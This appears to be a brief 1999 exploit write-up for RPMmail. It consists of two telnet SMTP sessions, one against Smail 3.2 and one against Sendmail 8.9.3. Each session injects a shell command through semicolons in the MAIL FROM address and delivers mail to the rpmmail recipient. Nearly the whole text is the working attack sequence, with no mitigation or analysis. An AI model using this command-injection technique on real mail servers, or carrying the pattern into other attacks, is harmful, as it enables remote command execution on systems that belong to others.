Exploit:

  Smail + RPMmail

  bash-2.03$ telnet (host) 25
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999
    MAIL FROM: ;/command/to/execute;
    250 <;/command/to/execute;> ... Sender Okay
    RCPT TO: rpmmail
    250  ... Recipient Okay
    data
    354 Enter mail, end with "." on a line by itself
    .
    250 Mail accepted
    quit

  Sendmail 8.9.3 + RPMmail
   
  [nhaniff@dhcp-160-190 nhaniff]$ telnet (host) 25
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    220 dhcp-160-190.x.x ESMTP Sendmail 8.9.3/8.9.3; Wed, 6 Oct 1999
    helo x.x
    250 dhcp-160-190.x.x Hello IDENT:nhaniff@localhost 
    [127.0.0.1], pleased to meet you
    MAIL FROM: ;/command/to/execute;@microsoft.com
    250 <;/command/to/execute;@microsoft.com> ... Sender Okay
    RCPT TO: rpmmail
    250  ... Recipient Okay
    data
    354 Enter mail, end with "." on a line by itself
    .
    250 Mail accepted
    quit